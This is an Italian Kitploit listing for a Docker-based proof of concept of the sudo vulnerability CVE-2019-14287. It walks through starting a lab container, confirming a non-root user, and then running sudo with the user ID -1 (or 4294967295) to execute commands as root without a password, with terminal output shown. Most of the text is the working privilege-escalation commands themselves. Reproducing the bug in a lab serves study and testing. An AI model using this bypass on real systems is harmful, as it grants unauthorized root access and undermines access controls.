poc-cve-2019-14287 — PoC basato su Docker che dimostra l'escalation dei privilegi di sudo tramite CVE-2019-14287, con bypass della restrizione dell'utente Runas, e istruzioni di riproduzione passo-passo. | Kitploit

PoC di CVE-2019-14287

Panoramica

Esempio di riproduzione della vulnerabilità sudo (CVE-2019-14287) in un contenitore Docker.

Procedura dell'esercizio

Avvia il contenitore con docker compose up -d
Entra nel contenitore con docker exec -it vulnerable_sudo_app bash
Esegui i comandi whoami e id per verificare di essere un utente normale (non root)
```
$ whoami
user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
$ id -u
1000
```
Verifica che sudo -u#0 whoami e sudo -u#0 id -u non possano essere eseguiti
- Specifica uid 0 (root) con l'opzione -u per eseguire
- Viene richiesta la password, ma poiché non la conosci, non puoi eseguire
```
$ sudo -u#0 whoami
[sudo] password for user1:
$ sudo -u#0 id
[sudo] password for user1:
$ sudo -u#0 id -u
[sudo] password for user1:
```
Esegui sudo -u#-1 whoami e sudo -u#-1 id -u per verificare che i comandi possano essere eseguiti come root senza autenticazione (riproduzione della vulnerabilità)
- Lo stesso risultato si può ottenere con -u#4294967295
```
$ sudo -u#-1 whoami
root
$ sudo -u#-1 id
uid=0(root) gid=1000(user1) groups=1000(user1)
$ sudo -u#-1 id -u
0
```

Riferimenti

Scarica lo strumento